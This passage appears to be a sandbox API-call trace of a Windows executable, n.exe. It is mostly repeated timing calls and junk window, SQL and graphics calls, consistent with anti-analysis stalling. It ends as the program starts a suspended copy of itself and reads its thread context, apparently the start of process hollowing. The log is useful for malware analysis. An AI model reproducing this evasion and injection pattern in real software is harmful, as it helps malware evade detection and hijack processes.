dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9dc8c0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.424] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9defd0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e16e0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e3df0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e3df0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e3df0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e3df0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e3df0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e3df0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e3df0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e3df0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e3df0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e3df0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e3df0, dwHighDateTime=0x1d595b2)) [0037.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9e3df0, dwHighDateTime=0x1d595b2)) [0037.451] GetCursorPos (in: lpPoint=0x18ed0c | out: lpPoint=0x18ed0c*(x=570, y=294)) returned 1 [0037.451] TrackPopupMenu (hMenu=0x0, uFlags=0x0, x=570, y=295, nReserved=0, hWnd=0x0, prcRect=0x0) returned 0 [0037.451] GetCursorPos (in: lpPoint=0x18ed1c | out: lpPoint=0x18ed1c*(x=570, y=294)) returned 1 [0037.452] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Xstore") returned 0x1ac [0037.452] GetCursorPos (in: lpPoint=0x18ed24 | out: lpPoint=0x18ed24*(x=570, y=294)) returned 1 [0037.452] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0037.452] GetDlgItem (hDlg=0x0, nIDDlgItem=2) returned 0x0 [0037.452] SetFocus (hWnd=0x0) returned 0x0 [0037.452] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xbb7) returned 0x102 [0040.523] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0040.523] SetCursor (hCursor=0x10007) returned 0x10007 [0040.523] GetCursorPos (in: lpPoint=0x18ed24 | out: lpPoint=0x18ed24*(x=570, y=294)) returned 1 [0040.523] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0040.523] GetDlgItem (hDlg=0x0, nIDDlgItem=2) returned 0x0 [0040.523] SetFocus (hWnd=0x0) returned 0x0 [0040.523] GetDeviceCaps (hdc=0x0, index=90) returned 0 [0040.523] CreateFontA (cHeight=0, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="me") returned 0xe00a084d [0040.524] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd870 [0040.524] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x2) returned 0x22fd880 [0040.524] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0040.524] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0040.524] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x6) returned 0x22fd880 [0040.524] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0040.524] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0040.524] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0040.524] SQLDriverConnectA () returned 0xfffe [0040.525] SQLDriverConnectA () returned 0xfffe [0040.525] SQLDriverConnectA () returned 0xfffe [0040.525] SQLDriverConnectA () returned 0xfffe [0040.525] SQLDriverConnectA () returned 0xfffe [0040.525] SQLDriverConnectA () returned 0xfffe [0040.525] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0040.525] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd870 | out: hHeap=0x22f0000) returned 1 [0040.525] SetRect (in: lprc=0x18dbc0, xLeft=10, yTop=10, xRight=110, yBottom=110 | out: lprc=0x18dbc0) returned 1 [0040.525] InflateRect (in: lprc=0x18dbc0, dx=-20, dy=-20 | out: lprc=0x18dbc0) returned 1 [0040.526] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=300, xRight=200, yBottom=301 | out: lprc=0x18dbc0) returned 1 [0040.526] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=302, xRight=200, yBottom=303 | out: lprc=0x18dbc0) returned 1 [0040.526] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=305, xRight=200, yBottom=306 | out: lprc=0x18dbc0) returned 1 [0040.526] GetConsoleWindow () returned 0x0 [0040.526] GetDC (hWnd=0x0) returned 0xc010854 [0040.526] CreateDIBSection (in: hdc=0xc010854, lpbmi=0x18db78, usage=0x0, ppvBits=0x4ea700, hSection=0x0, offset=0x0 | out: ppvBits=0x4ea700) returned 0x0 [0040.526] CreateCompatibleDC (hdc=0xc010854) returned 0x47010839 [0040.526] SelectObject (hdc=0x47010839, h=0x0) returned 0x0 [0040.526] GetConsoleWindow () returned 0x0 [0040.526] ReleaseDC (hWnd=0x0, hDC=0xc010854) returned 1 [0040.526] glBegin () returned 0x7efddb90 [0040.527] glVertex2f () returned 0x0 [0040.527] glVertex2f () returned 0x0 [0040.527] glVertex2f () returned 0x0 [0040.527] glVertex2f () returned 0x0 [0040.527] glVertex2f () returned 0x0 [0040.527] glVertex2f () returned 0x0 [0040.527] glVertex2f () returned 0x0 [0040.527] glVertex2f () returned 0x0 [0040.527] glEnd () returned 0x5d10a0 [0040.527] GetDlgItem (hDlg=0x0, nIDDlgItem=2006982120) returned 0x0 [0040.527] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0040.527] GetDlgItem (hDlg=0x0, nIDDlgItem=5868854) returned 0x0 [0040.527] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0040.527] GetDlgItem (hDlg=0x0, nIDDlgItem=17239) returned 0x0 [0040.527] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0040.528] GetDlgItem (hDlg=0x0, nIDDlgItem=5868854) returned 0x0 [0040.528] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0040.528] GetDlgItem (hDlg=0x0, nIDDlgItem=1914) returned 0x0 [0040.528] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0040.528] glClearColor () returned 0x5bcfe0 [0040.528] glMatrixMode () returned 0x5bcff8 [0040.528] gluOrtho2D () returned 0x5bd000 [0040.528] LoadBitmapA (hInstance=0x0, lpBitmapName=0x7fe5) returned 0x29050838 [0040.528] CreatePatternBrush (hbm=0x29050838) returned 0x1d10024c [0040.528] DeleteObject (ho=0x29050838) returned 1 [0040.528] CreateWindowExA (dwExStyle=0x220, lpClassName="RichEdit", lpWindowName=0x0, dwStyle=0x50300004, X=10, Y=10, nWidth=241, nHeight=221, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x0 [0040.528] SetWindowLongA (hWnd=0x0, nIndex=-4, dwNewLong=2006982120) returned 0 [0040.528] SetWindowLongA (hWnd=0x0, nIndex=-21, dwNewLong=0) returned 0 [0040.528] GetDlgItem (hDlg=0x0, nIDDlgItem=5868854) returned 0x0 [0040.528] DeleteObject (ho=0x1d10024c) returned 1 [0040.529] GdiplusStartup (in: token=0x18d4d8, input=0x18d4c4, output=0x0 | out: token=0x18d4d8, output=0x0) returned 0x0 [0040.545] GdipAlloc (size=0x10) returned 0x3772230 [0040.546] GdipLoadImageFromFile (filename="земля_ СЃ_луны.jpg", image=0x3772234) returned 0x3 [0040.548] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0040.548] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0040.548] GetStockObject (i=0) returned 0x1900010 [0040.548] RegisterClassA (lpWndClass=0x18d480) returned 0x300000 [0040.548] CreateWindowExA (dwExStyle=0x0, lpClassName="Get", lpWindowName="Get", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x0 [0040.548] ShowWindow (hWnd=0x0, nCmdShow=0) returned 0 [0040.548] UpdateWindow (hWnd=0x0) returned 0 [0040.548] GdiplusShutdown (token=0x1ad6d) [0040.554] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x77a01de8, lParam=0x598d36) returned 0x0 [0040.554] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x4357, lParam=0x598d36) returned 0x0 [0040.554] EnumWindowStationsW (lpEnumFunc=0x560000, lParam=0x0) [0040.715] GetModuleHandleA (lpModuleName="ntdll") returned 0x77130000 [0040.715] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0040.992] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c960, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n.exe")) returned 0x2b [0040.992] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c908*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18cb8c | out: lpCommandLine="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n.exe", lpProcessInformation=0x18cb8c*(hProcess=0x1bc, hThread=0x1b8, dwProcessId=0xa70, dwThreadId=0xa74)) returned 1 [0040.999] GetThreadContext (in: hThread=0x1b8, lpContext=0x18c630 | out: 